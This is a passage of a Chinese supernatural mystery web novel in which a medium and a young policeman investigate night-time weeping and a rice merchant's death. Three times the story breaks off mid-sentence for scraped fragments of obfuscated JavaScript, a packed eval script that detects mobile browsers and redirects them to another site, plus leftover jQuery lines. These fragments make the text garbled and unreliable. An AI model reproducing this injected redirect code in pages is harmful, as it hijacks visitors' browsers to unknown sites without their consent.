听着他们的议论,薛暮冉有些不快,自家老板的尸体还躺在前面,他们就能旁若无人的说笑,未免有些冷血。不过,非亲非故,就算摆出一副忧伤的模样,其中又有几分真情呢?他想起前不久局里同事被那养蛊的女人杀死后,办的葬礼来,也有不少人在开着玩笑。就算是自己,又有多难过与不舍呢?
内心空空荡荡,什么都没有,不过是面子上不会笑出来而已。忽然间,他很厌恶自己的伪善。
56.第四章 夜半低哭
竹七九话音刚落,上下哗然一片。院子里围观的伙计们指着大厅内的棺材交头接耳,脸上带着义愤填膺的表情。似乎此刻平躺在实木棺材里的主人受了莫大的委屈,正在寻求他们帮助。
不知是谁低声说了一句“肯定跟老板娘脱不了关系!”,声音虽小,穿透力却强,屋内的素衣女人转头扫视众人,顿时如苍蝇般扰人清静的嗡鸣声像被人拔掉插头似的,一下子静了下来。
“既然如此,那就请竹先生暂且住下,等明日再请先夫出来说话。”老板娘皱着眉头,冷冷说着。
“那是自然,今夜肯定是要住下来的。”竹七九笑得很轻狂,冲人群中的薛暮冉一招手,两人跟着一个年轻的伙计走到主屋后的那排瓦房。
上锁的那间屋子被打开,屋内打扫的一尘不染,连那床上的被褥也是半新不旧的,似乎常有人在此休息。
拿起床头的棉花枕头,竹七九将鼻子凑过去,然后皱起眉头。又看见枕头下有串草珠串成的手链,他拿在手里把玩一番后,趁着其他人不注意,塞进怀里。
转身谢过那个年轻伙计,他随口问道:“不知怎么称呼?”
“他们都叫我小周,竹先生也就这么叫我就成。有什么缺的随时叫我,老板娘吩咐了,您的一切需求我们都会满足。”年轻伙计笑着回答。
“这样啊,目前也没有什么缺的,只是这屋子就一张床,我们两个大男人可挤不下——”竹七九摸着下巴,做出为难的表情。
“本来在主屋那边有几间客房,只是因为老板的葬礼,来了一些亲戚已经在那里住下了。所以只能委屈两位先生今晚在这里睡一夜,稍后我会再拿来一些被褥,在地上再铺上一床,暂且将就一下可以吗?”小周苦笑着解释。
“这样啊,那也行,反正我跟我兄弟关系好,凑合一晚也没什么问题。”竹七九恢复了原本的笑容。
薛暮冉不快的别过头,心想:谁是你兄弟!
这时,小周忽然走近几步,低声道:“竹先生,请问,这个屋子里真的有鬼吗?”
“鬼啊——”竹七九故意拖长了音调,“是肯定有的,只是,你别怕,不做亏心事,鬼不会无缘无故找上你的!”
“这样啊——”小周若有所思的呆了一下,又问道:“那如果——以前死掉的人,会在近期突然出现吗?”
“小周!”问话被打断,满头花白短发的徐叔走了过来,打断小周,厉声道:“既然客人已经送到,还不去店里帮忙!下午白白浪费了时间,晚上再不去干活补回来,是想着扣工钱吗?”
“哎——马上去!”小周低着头走了出去,经过徐叔身旁时,脖子更弯了。
脸上皱纹犹如刀刻的徐叔冷眼看着屋里的两个年轻人,语气十分不友善:“二位最好是有些真本事在身上,不然到了明日,就别想可以轻松离开这扇门。”说罢,一甩手转身也走进米铺。
“哼!跟我有什么关系!又不是我主张招魂的,你说对不对?”薛暮冉看向旁边的‘招魂大师’,一脸的忿忿不平。
“可不是,他们要是知道你是警察,也不能把你怎么样!”竹七九笑笑,摸着门框,喃喃道:“这地方不像是没人住的样子,为什么会上锁呢——”
“警察?我现在要是表明身份,只会丢警局的脸!还好我刚来彩衣镇不久,一般不怎么来这边转悠,他们暂时还认不出来我。这事你可不能说漏嘴,不然回去了萧队长要揍死我!”薛暮冉看着逐渐阴沉下来的天空,想起下午那场招魂仪式。
“刚刚那个,到底是真的还是假的?”
“你说那个人形啊?”
“对啊,下面人都说那个人形就是他们老板的模样呢!”
“那个也能看出来像,我只能说佩服他们的想象力!”竹七九笑着关上门,按亮墙边的点灯开关,原本昏暗的屋内顿时被暖黄色的光芒照得亮堂堂的。
“又是你的诡计!你到底准备做什么?难道你真的碰见了那个什么陈老板还打赌了?”薛暮冉走到床边,一边脱鞋揉脚,一边问道。
“这个嘛,当心隔墙有耳,回头我们再细说。”竹七九拉过旁边的椅子,坐在上面喝酒。
气氛突然安静下来,只有几只叫不出名字的飞蛾在电灯下来回扇着翅膀。
薛暮冉干咳一声,刚欲打破这尴尬的气氛,竹七九猛地抬手止住他,侧耳倾听,似乎有什么动静吸引住他。
见他一脸认真的样子,薛暮冉也歪着头仔细聆听,隐约间,不知从何处传来几声呜咽,凄惨悲凉,似乎饱含说不尽的苦楚。
两人对视一眼,循着声音趴在床后的墙壁上,将耳朵贴上去,这时那哭声传得更清晰了些,可以听出是个男人的哭泣声。
“这——究竟是哪里传出来的?”薛暮冉指着墙壁,低声问道。
竹七九摸着下巴,沉吟道:“好像是屋外,这排瓦房是靠着院墙修建的,走,出去看看。”
轻手轻脚打开门,他们一前一后,弯着腰快速经过厨房,薛暮冉瞥见土砌的锅炉后冒出红光,也不知是不是白天见到的那个厨娘在为店里上夜班的伙计准备宵夜。
柴房边有个小门,供屋内下人进出使用。主屋面向东方开了一扇大门,平时接待客人皆从此处进入。店铺正门朝南,正对着商业街。
此时已经入夜,这扇小门已经上了木栓,竹七九轻轻取下那节木头,随身揣着。薛暮冉在后把风,防止有人路过发现他们。
走出院门,只觉得漆黑一片,伸手不见五指。这夜星光暗淡,月亮藏在乌云后不肯露脸,大地上只剩下家家户户的灯光勉强可以照亮自家门前道路,作为指引。只可惜这陈家大院墙壁高耸,里头的灯光照不到外面。
幸好竹七九从怀里掏出一根金色的蜡烛,凌空点燃,微黄的光芒照亮了脚下的路。只是放眼望去,虽然不太清晰,但可以确定的是,这院子后头别说人了,连只猫儿的影子都没有。
绕到院子后方,循着那股尿骚味,他们知道已经到了厕所的位置。竹七九刚准备上前,却又停住,笑嘻嘻走到薛暮冉边上,笑道:“我说,你去听听,有没有奇怪的动静。”
“为什么要我去啊?”薛暮冉有些不高兴。
“你不是一向无知无觉,对气味不过敏嘛,这味儿太冲脑子,我受不了!”竹七九作出请的手势,催促薛暮冉上前。
无奈,他只好凑上那面墙,仔细听着墙内动静。结果来回走了一遭,却连一丝声音也听不见。
他无奈的摇摇头,叹道:“这怕不是真的闹鬼咯!屋内听见人哭,一出来,连个鬼影都没有!”
“所谓鬼怪,大都是人心里有鬼,人在作祟而已。如果真的闹鬼,这事情就难办了——”
“鬼又怎么了?那些稀奇古怪的东西你都不怕,反倒怕起鬼来了?”薛暮冉靠在墙上,双手抱在胸前,脸上全是疑问。
“哈哈!”竹七九爽朗一笑,“只要是有实体的东西,都是我们这个世界的,那就没什么可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077358|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕的。只是这鬼魂啊,说不好,如果他是附在什么东西身上还好说,若真的只是鬼魂,就难办了,我也不知道该怎么做了。”
刚一踏进院子,只见那个花白头发的徐叔已经带着三四个年轻小伙子站在院子中央等候,脸上表情十分不悦。
“二位去哪里了?”他手里拿着根竹子削成的扁担,眼里全是戒备。
“看见两只猫儿打架,就去瞧瞧,已经没事了。”竹七九不动声色掏出门栓,将后门关上,“这大晚上的,你们还在忙活呢,都不用睡觉的嘛?”
“新来了一批大米,本打算白天搬货的,结果被某些人打断了,这才耽误到夜里。”徐叔语气毫不客气。
“这样啊,那你们慢慢忙吧,我旁边这位老兄一到时间就要睡觉,不然会发飙的!”说完拍拍薛暮冉的肩膀,拉着他进屋。
刚关上门,竹七九三步变作两步,快速爬上床,靠在墙壁上,耳朵贴在上面来回移动,又招手唤薛暮冉过去,果然,那呜咽之声还在,只是动静低了很多。
“这到底是怎么回事?难不成,这人附着在墙壁之上?”薛暮冉坐倒在床上,有些不耐烦的问。
“说不好啊,也许只是我们看不见,那人此刻就在这屋子里也不一定——”
“喂!我说大师,你别吓唬人好不好?”薛暮冉只觉得身上鸡皮疙瘩都立起来,后背发凉。
“我也不敢确定,只是这东西,我没见过,但是听我师父说过,鬼魂只有相熟之人才能见到,是存在于他人眼中的东西。”竹七九表情正经,并不像在玩笑。
这反倒让薛暮冉更觉瘆得慌,他裹起被子,讷讷道:“什么叫他人眼中的东西?”
“这个也有点复杂了,我也不太懂。大概就是说,有些东西,信则有,不信则无。比如说你找人算命,他给你说了一通运势。也许是真的,也许是假的。你信了,就会不自觉的去将生活中遇到的事与之对应。你若不信,也就是个江湖骗子在胡说八道。”
“也就是说,如果我不信,这鬼魂对我来说也就不存在了?”薛暮冉微微松开被子,探出头来询问。
“差不多就是这个意思,这东西是通过你自己来控制你。如果你不信他了,自然也就操控不了你,也就不能在做出什么来了。”
“那还怕个什么劲?不信这个不就好了!”薛暮冉松开被子,坐在床边说道。
竹七九笑着摇了摇头,“你啊,刚刚还没见到那东西就吓得冒冷汗了,如果亲近之人见到鬼魂的模样,能不害怕吗?只要你害怕,就会相信他的存在,自然会被对方乘虚而入。咱们又不是道行高深的修佛修道之人,怎么可能做得到面对那些东西而不惧怕?”
“也就是说,只要我们表现出来害怕,就会被那东西控制?难怪那东西天天鬼哭,就是在为头七做准备吗?究竟他想做什么?”
“这屋子怪异得很,有种说不出来的感觉,但是又不像鬼魂作祟,唉,当年我师父死的早——”说着,他眼神复杂起来,盯着薛暮冉。
“看我干吗?又不是我导致你师父死的早!”他摸摸鼻子,不知为何,有些不敢对上竹七九的眼睛,只好转开视线。
“别打岔,你听——”竹七九死盯着屋内某处,侧着耳朵。
隔壁房间似乎有人在说话。竹七九蹑手蹑脚走到墙边,听了半刻。薛暮冉却懒得再过去,他一向不喜欢这种偷偷摸摸的行动,于是继续揉脚,自从上次从环溪村回来,他的脚踝一直有些红肿。
57.第五章 果在因前
“脚怎么了?看你揉半天了!”竹七九忽然走到他面前,坐在他身侧掰过他的脚看着,只见脚脖子已经又红又肿,像充了气的皮球。
“什么时候的事情?”竹七九脸色微变。
“那次你带着我跟罗名称从山头跳下来,我不小心踩到了那龙骨突出的碎骨上,脚踝被划了一下。开始以为是皮外伤,也没在意,最近开始肿起来,就变成这样了。”薛暮冉老实的回答。
一掀裤子,密密麻麻的红色网路沿着肿胀的脚踝一直延伸到膝盖上方,像穿了条红色丝袜,竹七九脸色越来越差,终于,他使劲甩了一巴掌,打得薛暮冉原本就红得小腿又多了个五指掌印。
“喂!你疯了啊!”薛暮冉缩回脚,摸着被打的地方,一脸不可思议。
“下次不管哪里受伤了,都要说出来,这些东西,说不好就有毒性妖性,晚了就无力回天了!”竹七九叹道。
“什么意思?我这是没救的意思?”薛暮冉心脏漏跳了一拍,连忙问道。
“你这倒不是,就是中了点蛇毒,诺,这珠子给你,戴个七八天应该就好了。”他掏出那枚黑色珠子,塞进薛暮冉怀里。
“这不是那龙的内丹吗?给我也有用?”
“这东西,对活着的东西都有用,对你——也许有用吧。”竹七九白了他一眼,“我也不知道,一个人没有脑子还算不算活着。”
“有用就行!”薛暮冉放下心来,忽然又回过神,骂道:“你又拐着弯占我便宜,看我不揍你!”说着起身抡起拳头甩过去,两个人来回推搡着,听见有人敲门,这才停住。
竹七九笑着走过去开门,竟然是老板娘。他收住笑,问道:“不知深夜过来,有何指教呢?”
“不请我进去吗?”女人描着精致的眉,脸颊也上了一层淡妆,只是口唇依旧惨白,显得整个人有些苍白。
“大晚上的,您一个女人家来两个大男人的屋子,不太合适吧?”薛暮冉一跳一跳蹦到门口,挡在竹七九身前抢先说道。
竹七九推开他,笑着请女人进来坐下,顺手带上了门。
男人坐在床边,女人坐在凳子上,点灯在头顶上微微晃荡,似乎起风了。几只飞蛾的影子投在脚下的地板上,追逐着灯光。
“你们到底是谁?来这里想要做什么?”女人冷着脸问道。
“这个问题,我想白天已经回答过了,怎么,老板娘是不相信我们说的吗?”竹七九将左脚搭在床沿边,被薛暮冉嫌弃的一掌拂下去。
“七天前的夜里,我丈夫根本没出去喝酒,因为他——”女人有些动摇,似乎在忍着痛苦,“他身体忽然不舒服,所以在家休息。”
“可是你家伙计也证明了,半夜他从外面回来的哦!”竹七九笑了。
“因为,我们吵了一架,他生气,从东门跑出去了一会,但是很快就回来了,从南边店铺那个门进来,才会被下人误会。那个时候,这绿玉戒指还戴在他手上,所以不可能跟你打赌。”
“那你白天怎么不说?”薛暮冉插话道。
“自然是有不可说的理由咯!”竹七九嘿然一笑,“那夜,陈小老板跟老板娘吵架的内容,不能说吧,不然第三天老板就死了,这嫌疑人自然就变成老板娘了。”
“我行得正,坐得直。”
“我记得,老板娘你是叫——王荔香,对吧?”
“是又如何。”
“你弟弟,叫什么啊?”竹七九往前倾着身体,盯着女人的眼睛问道。
“他,他又怎么了?”女人手指不断伸直又蜷缩,眼睛也来回转个不听。
“听说,你跟陈小老板之所以结婚,是因为有媒人去说亲,对吧?在那之前,你带着弟弟独自生活,应该感情很好吧?那为什么今天,一直没看见你这个好弟弟的影子呢?”
这时薛暮冉才想起来,这老板娘还有个弟弟,应该是在陈家米铺当伙计的。今天闹了这么久,似乎一直没有这个角色出来说话。
“他有事回去了,所以今天你没有看见他。”
“那明天请他过来,应该也花不了多少时间吧?后日就是头七,陈小老板可是要现身的,这关键人物不到场,怎么能行呢,你说对吧?”竹七九冷笑着,语气里有股讽刺的意味。
老板娘拂袖而去,连门也没关。竹七九笑笑,走过去关门,发现那些伙计已经从铺子里三三两两的走过来,于是靠在门边跟他们打招呼:“哟,大家辛苦了啊!”
几个喜欢惹事的连忙凑过去,无非是打听闹鬼一事的内幕,其他的一些安分守己的,都低着头进屋休息去了。最后出来的小周,在院子里探头探脑,不断看向竹七九这边,终于还是进了屋子,没有过去说话。
“对了,你们老板娘的弟弟呢?怎么没看见他?”竹七九不去回答这些人的问题,反倒开口问他们。
“那个黄毛小子啊,不知道跑哪里野去了,成天没个影子,还一个人霸占着一整间屋子,诺,就是你们现在住的那间,本来也是我们的宿舍,现在害得我们这么多人挤在一起。”一个平头小哥抱怨道。
“他姐夫死了,也不回来守着?不怕他姐姐一个人忙不过来吗?”
“他啊,本来跟老板娘关系就不好。而且虽然说在铺子里管管账,但是实际上还是云叔在做这事儿,那小崽子就担着职位不干活,还白拿钱。”
“那老板娘弟弟是从什么时候开始不见的啊?”
“这个嘛,我想想——”平头小哥做沉思状,猛地拍手道:“好像是七天前的晚上,我半夜出来尿尿,听见主屋里面好像有人在吵架。听见老板娘跟她弟弟的声音,然后我就看见那小子从主屋的卧室里跑出来,从后门钻出去了。”
“对对对,我也听见了,还摔东西呢!”另一个年轻男人也附和着。
“七天前不是你们老板——”竹七九咳了一声,“出去喝酒跟我打赌的日子吗?那夜,老板娘跟她弟弟吵架了?”
“对啊,然后就没见过那小子了!”
“王荔俊那小子,仗着自己相貌好看,在外面有不少相好的,经常不回来休息!可能是去了哪个女人家里睡觉吧!”旁边一个鼻头很大的油腻胖子插嘴道。
“王荔俊?就是老板娘弟弟的名字吗?”
“对啊,你还不知道啊?那小子长得跟个女人似的,又瘦又矮,偏偏外面不少女人喜欢这样的,都爱给他塞钱花呢!”
“可不是,那小子花钱大手大脚的,还经常买新衣服穿,比老板娘穿的还花哨,看着就恶心人!一个男人搞得花花绿绿的,我看着就不舒服!”平头小哥恨恨道。
“大晚上的不睡觉!嫌活儿少了是吗?”一声呵斥,众人转头看去,徐叔站在院子里,手里拿着那根扁担。
几个伙计连忙蹿进屋子里,关上门。竹七九靠在门边,继续没个正经的笑着:“哟,徐叔这么晚了,还不歇息呢!”
“跟你没关系!”他拿着扁担,走进旁边的屋子,重重的关上门。
不一会,云叔也走过来,见竹七九在门边站着,也略微颔首,进了第二间屋子。
他摸着下巴,笑了笑,也关上门,走进房内,发现薛暮冉已经呼呼大睡。他走到床尾,掀开被子,看着那红肿的脚踝,眉头轻轻皱起来。
靠在床尾的墙上,听着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15082058|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旁边熟睡的人鼾声如雷,他解开酒壶,慢慢喝着。耳畔隐约又传来哭泣之声,他刚准备打醒薛暮冉,门前却又响起敲门声。
这次是小周,他将食指抵在唇前,拉着竹七九在床边坐下,低声问道:“竹师傅,你放才说,这屋子的确有鬼,是真的吗?”
“这个嘛,既然死了人,肯定是有鬼魂在这附近的,等过了头七,鬼魂去到地府投胎,也就没有了。”竹七九笑着回答。
小周脸色凝重,似乎十分为难,终于又开口道:“这人死了,才会有鬼魂吗?”
停住喝酒,竹七九吃了一惊,“难不成,你家老板根本没死?那这场葬礼又是为了什么?”他看着小周的眼睛,“你要是知道些什么,不妨说来听听,这鬼哭声可不是假的,如果其中真的有什么冤屈,就算没死人,也会有怪事发生。”
“人是死了,但是这鬼哭声,在老板去世之前就已经出现了,六天前的晚上,我们所有人都听见了,有人在院子外面哭。开始我们以为是哪个醉汉喝多了在发疯,结果那哭声直到半夜也没消停,我们几个就出去看,结果院墙外一个人影都没有。也没有哭声了,我们又回到屋里,结果——”
“一到院子里面,哭声又出现了,对吗?”
“正是这样!外面听不见,院子里却清清楚楚的,这不是闹鬼是什么!结果第二天夜里,老板就吵着肚子疼,半夜就断了气,云叔跟徐叔一直陪在里面,我们也不敢休息,就在院子里说话,然后又听见那声音——”
“这倒是奇怪!”竹七九摸着下巴沉吟着。
“是不是这宅子闹鬼啊,害死了老板,然后又要害我们了!”小周抱着双手,不断颤抖。
“这宅子,以前发生过这种事吗?”
“这个嘛,我也来这里不过一年,以前好像没听说过有什么事情,自从老板娘嫁过来,屋子里添了女人气息,好像就经常有些奇怪的动静,老是在半夜听见有人走路,说话的声音。”
“可是厨房里那个不也是女人嘛?”
“李姐啊,她不在这里住,所以没事,我们私下里都说,老板娘阴气重,带的弟弟也跟个女人一样,一家子克死了老子娘,又来克我们老板,现在轮到我们了!”
“我看那个徐叔跟你们老板娘关系挺好的啊!那个云叔对老板娘也很尊重,倒不至于你说的那些吧!”
“徐叔跟云叔都是这家里的老人了,自然要给老板娘一些面子。”小周凑近了一些,声音压得更低,“可是冯会计就不一样了,本来他们仨都是住在这间屋子的,后来王荔俊来了,他们就搬到隔壁去了,冯会计气不过,就直接搬出去住,剩下云叔跟徐叔继续在隔壁住。所以冯会计可恨死老板娘姐弟俩了。”
“说起来,今天一整天都没看见那个冯会计啊!”
“他在仓库里革出一间屋子专门算账用,平时也不大出来,也不管其他事,一到时辰就下班走人,店里的那些杂活也从来不管,全是云叔跟徐叔在照管。”
“听你的意思,这个冯会计好像挺难搞的啊!”
“脾气大着呢!而且跟老板也沾亲带故的,所以谁都不敢得罪他。”
“这次尸检也是他拦着不给的吗?”
“这倒不是,是云叔拦着的,说是死者为大,不能继续伤害老板了。所以这场葬礼都是徐叔跟云叔打理的,老板娘也只是在旁协助。”
这时又响起敲门声,小周浑身一颤,求助的看向竹七九。
“谁啊?”竹七九让他退到门后,冲门外问道。
“是我。”
声音沧桑而不失气魄,透过窗户纸看过去,正是云叔。
58.第六章 真正家主
“夜深了,不知道云叔来找我有何贵干呢?”竹七九靠在门后笑着问道。
“见竹先生屋内还亮着灯,所以过来看看,不知是否还住得惯。”隔着门,云叔的声音沙哑中带着一丝虚幻。
“很惯,多谢您关心,我也要关灯睡觉了,您老也早点休息。”
“那就好。”
听到隔壁关门的动静,竹七九才轻轻开门,让小周出去。
关上灯,回到床上,他掏出那串草珠链子,轻轻摩擦了几下,那珠子竟然在黑暗中亮起蛋白色荧光来。
“果然是你啊!难不成,这一切都是因为你吗?”竹七九喃喃道。
薛暮冉烦躁的翻了身,骂道:“别吵吵了,困死了!”
然后一人占了大半张床,挤得竹七九毫无立足之地。
“唉,说到的打地铺,好歹把床铺给我送来啊。”竹七九叹道,然后将旁边桌子上的东西收拾干净,躺了上去。
如此一夜无话,已至天边微白,门外洒水声,说话声络绎不绝。薛暮冉来回翻身,用枕头捂住脑袋,那声音依旧钻进耳朵里来。无奈,只得起身。却发现房门大开,早已没了竹七九的影子。
他挠着头发,走出门,院子里几个年轻人光着上身正在冲凉,还有几个在墙角边刷牙。他走过去问了一句:“竹七九去哪里了,你们见到他了吗?”
“没有啊!”正在刷牙的小周走过来,“我们刚起来,就赶紧洗漱了,等会就要开店干活了。你问问李姐——”
见薛暮冉疑惑,他又补了一句:“就是厨房里干活的,她早上起得早,说不定看见了。”
旁边就是厨房,他昨天被那女人凶了一顿,此刻内心有些不情愿过去说话。心想竹七九那人虽然看着不靠谱,但是一向也没出过什么事,不如随他去,自己倒落个清闲。
刚欲回房继续睡觉,又想到今天已经是第六天,明日就是头七,再过几天局长就要回来,他想起萧队长的嘱咐,叹了口气:“唉,别说偷得浮生半日闲,就连一刻钟都闲不下来。”
“不知道昨夜是谁打呼噜震天响哦!”身后响起说话声,自然是竹七九。
他带着热腾腾的包子跟豆浆,放到桌子上,叫道:“赶紧吃饭,吃完就要办事了。”说罢就坐在桌边吃起来,呲溜地吸着豆浆。
“你一大早出去就为了买早饭?这陈家米铺连早饭都不提供啊?”薛暮冉摸摸肚子,嚷起来,“不行,昨夜好像着凉了,我要去拉屎。”
“你能别在我吃饭的时候说拉屎吗?”竹七九大叫一声,薛暮冉哈哈大笑,转弯进了茅房。幸好那些伙计已经去米铺干活,此刻只留下一地的水,跟满墙壁的牙膏沫,茅房空无一人,只是那股子骚味跟臭味一如既往。
解决完毕,他系上腰带,耳畔忽然传来喘气声,如银铃般清脆:“小弟弟,来玩吗?”呵气如兰,却显得这茅坑越发的恶臭,也吓得薛暮冉一身鸡皮疙瘩。他猛地转头,四周空无一人,忽然脑袋后面一阵轻柔的呼吸声传来,似乎有东西正站在他身后。
他深深的呼出气,一转头,身后除了那堵墙,只剩脚下的粪坑。虽然满心疑惑,但也找不出头绪,他推开门出来,看见竹七九急急忙忙跑过来问道:“怎么样?没出什么事情吧?”
“老子拉屎,能出什么事情!”
竹七九面露嫌弃的神色,骂道:“去洗洗手,赶紧吃饭吧,你这身体,一顿不吃就没力气,等会怎么办事!”
“等会要干体力活吗?”
“算是吧,等会你就知道了!”
两人一路往回走,一边闲聊,竹七九忽然放慢脚步,盯着薛暮冉身后,眼神也变了。薛暮冉知道不妙,脱下衣服查看,只见灰白色的短袖后面,赫然映着一只三指的黑色爪印。
“刚刚遇到什么东西了?”竹七九让他将衣服穿好,继续询问。
“不知道是不是做梦,好像有个声音在我耳边说话。”薛暮冉将经过说了一遍,又问道:“不是什么老色鬼,看上我了吧?”
“你小子虽然算不上多英俊,不过在这群歪瓜裂枣里面也算上乘,看上你不是很正常嘛!”竹七九听完,反倒放下心来,笑着打趣。
走到屋内,薛暮冉拿起包子就啃,含糊不清的说:“这宅子据说也很多年了,难怪会不干净,闹鬼!要是真被哪个色鬼占了便宜,我可不会罢休!”
“那你准备怎么办?要占回去吗?把那色鬼给收拾一顿?”竹七九翘着二郎腿,一脸笑意。
“我就逮住他,然后蹂躏他,然后践踏他,最后给他打包送去投胎!”
“哈哈哈哈,说不定他就喜欢你这样的,然后更爱你了!”竹七九笑弯了腰,捂着肚子疯狂拍桌。
吃完饭,两人绕到灵堂前,此时只剩下老板娘独自跪坐在棺材边,竹七九也上前上了柱清香,蹲在老板娘身边,耳语几句。很快,那女人变了脸色,涨红着脸,骂道:“你别胡说!就算现在陈家只剩下我一个女流之辈,也容不得你放肆!”
薛暮冉赶忙走过去,拉起竹七九问道:“又搞什么东西?等会不会要我以一敌十,跟他们家那么多伙计干架吧?”
“那倒不至于,别看老板娘嘴上说着狠话,实际上内心可温柔着呢!”竹七九笑着挣脱,继续道:“言尽于此,如果你们不愿意去做,回头出事了,可别怪我!举头三尺有神明,这话可不是假的。人定胜天这话,倒也有人做到过,只是,你们有那个能力吗?最好先掂量一下自己的实力。”
“我不懂你的话,请你离开!”女主人指着大门口,气得原本秀气的面孔红得像只煮熟的虾米。
“我走容易,只是明天可不要来求我回来帮你,到时候可不是简单的一场仪式就能解决的事情!”竹七九插兜离开,薛暮冉看了眼那女人,转身也跟着走了。
绕过巷子,来到街上,行人熙熙攘攘,人声鼎沸。竹七九穿行其中,脚步没有丝毫停留,直接走向厢竹酒家。
薛暮冉紧跟其后,两人在靠窗的位置坐下,胖老板见到他们,连忙上了酒菜,也在边上坐下,笑道:“竹小弟也有大半个月没来了吧,最近都忙些什么呢?”
“无非还是那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086084|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些杂事,烦死人了!”竹七九抱怨起来。
薛暮冉吃了一惊,这么久以来,这是第一次听到他抱怨。以往他都是一副漫不经心的样子,说些不正经的话,这次的事情竟然可以让他觉得犯难,这倒是奇事一桩!
“为了陈家米铺那事儿啊?”胖老板消息灵通,压低声音,“我就知道你肯定对那事感兴趣!只是这陈家可不是什么正常家族,听说他家请鬼了!”
“请鬼?什么意思?”薛暮冉好奇的凑过去。
“哎呀,警察小哥你这就不懂了,他们这种有钱人家‘请鬼’,都是为了让家族生意兴隆!请了一些不干净的东西回家供奉,然后就财源滚滚而来咯!”
胖老板满脸横肉挤在一处,说的高兴了,连声音也大起来。旁边桌子坐着的客人也转过头来,瞪着眼睛问道:“这彩衣镇也有人可以请鬼吗?”
突然间的插话,几人都愣了下,薛暮冉看向那人,扁头大眼,鼻子高挺,嘴唇却很薄,像是两条细线横在鼻子下方。
此刻那两条细线正不停地一张一合:“我只听过请神,这请鬼还是第一次听说。”
“什么啊!”胖老板接过话头,“请神请鬼一个意思!那神仙有这么好请的吗?能请过来的神仙多半也不是正经神仙,不就是——鬼咯!”
“这是真的?”薛暮冉问道。
“不然他们陈家生意怎么突然好起来!”胖老板继续道,“当年战争刚结束,整个镇子的人都很穷,连那四个家族也萎靡了好一阵子,才慢慢恢复过来。只是这陈家,原本不过是街边一个米铺,三四个伙计打杂而已。在战后却很迅速的崛起,大有超越那四大家族的势头。现在除了岳家生意依旧红火,其他几家早就不如他老陈家有钱了。”
“米铺,能有这么赚钱吗?”薛暮冉奇道。
“就是说啊,所以一开始根本没人注意到他家,附近农庄那么多,多少人直接过去买米的,这能赚什么钱啊,所以啊,他家肯定是请了鬼来镇宅,所以才赚钱的!”
“你总不能因为人家生意做得好,就说人家请鬼啊!”薛暮冉接受不了这个说法,倒了杯茶喝起来。
“话可不能这么说,咱们可不是眼红他家啊,这有证据的。”胖老板再次压低声音,“请鬼需要祭品,所以啊,他们家每年都会有一天,全铺子人都放假,整个陈家连半个人都不会留下。听说,只在院子里摆满已经杀过拔毛的鸡鸭鱼肉,然后所有人都离开。第二天回来啊,那些肉全都消失了,只剩下盘子里的血水——”
“血水?那些都是生的?”
“可不是!警察小哥,你看我没说胡话吧,这拿生肉祭祀,可不是祭鬼嘛!”
“那也不一定!”隔壁桌的客人插嘴道,“也许是祭祀些野路子的神仙,他们也好吃生肉。不过这家的确有点不正常。”
“他们一般是几月份祭祀?”竹七九忽然开口。
“以往都是五月底,六月初,今年的话,倒是没听说,要么已经祭祀过了,要么也快了!不过他家现在办葬礼,怎么着,也得等葬礼结束吧!”
59.第七章 请鬼神说
空中没有一丝风,虽然不热,却很闷,捂得人身上直往外冒油。天阴沉沉的,似乎在酝酿着一场大雨。入夏之后,雨水不丰,地上都晒得开裂。彩衣镇上还好,只是那种田的庄稼人们可苦了,只能看着稻子干得发焉。
“现在已经六月中旬,即将迎来收割的季节,陈家的大米来源,能查到吗?”走过吞龙桥,竹七九开口问道。
“这个早就查过了,陈家把彩衣镇附近所有农户的稻子全部收走了,所以镇上人没地方买米,只能去他那里。”薛暮冉回道。
“这也是很普通的操作啊,那胖子说的话,倒也不能尽信。”
“肯定咯!镇上人就喜欢乱说这些,越邪乎他们越喜欢!”薛暮冉无意中抬头,看向远处的小卖铺,笑道:“这可巧了,师姐在那边呢!”
两人走过去,田芸淼笑嘻嘻的递过来两瓶水,“小薛啊,你昨晚又没回来,也不打声招呼,幸好我给你找了个理由,不然萧队长可不放过你!”
“那可多谢师姐了!”薛暮冉嘿嘿一笑,一口喝干了大半瓶水。
“闹鬼案查的怎么样了?萧队长派了几个小队去陈家大院外蹲守,结果一点哭声都没听见呢!我们都觉得那是以讹传讹,弄错了——”
“什么时候的事情?”竹七九问道。
“最近三天,都有安排人去啊,今夜轮到我跟周明洋,怎么了?”
“昨夜是谁?”
薛暮冉这才想起来,昨夜他们去院子外面查看,根本连个人影也没发现,如果警方已经派人来看守,不可能他们发现不了。
“昨夜是老李跟小徐,你们这是怎么啦?”田芸淼一脸奇怪,笑着问道。
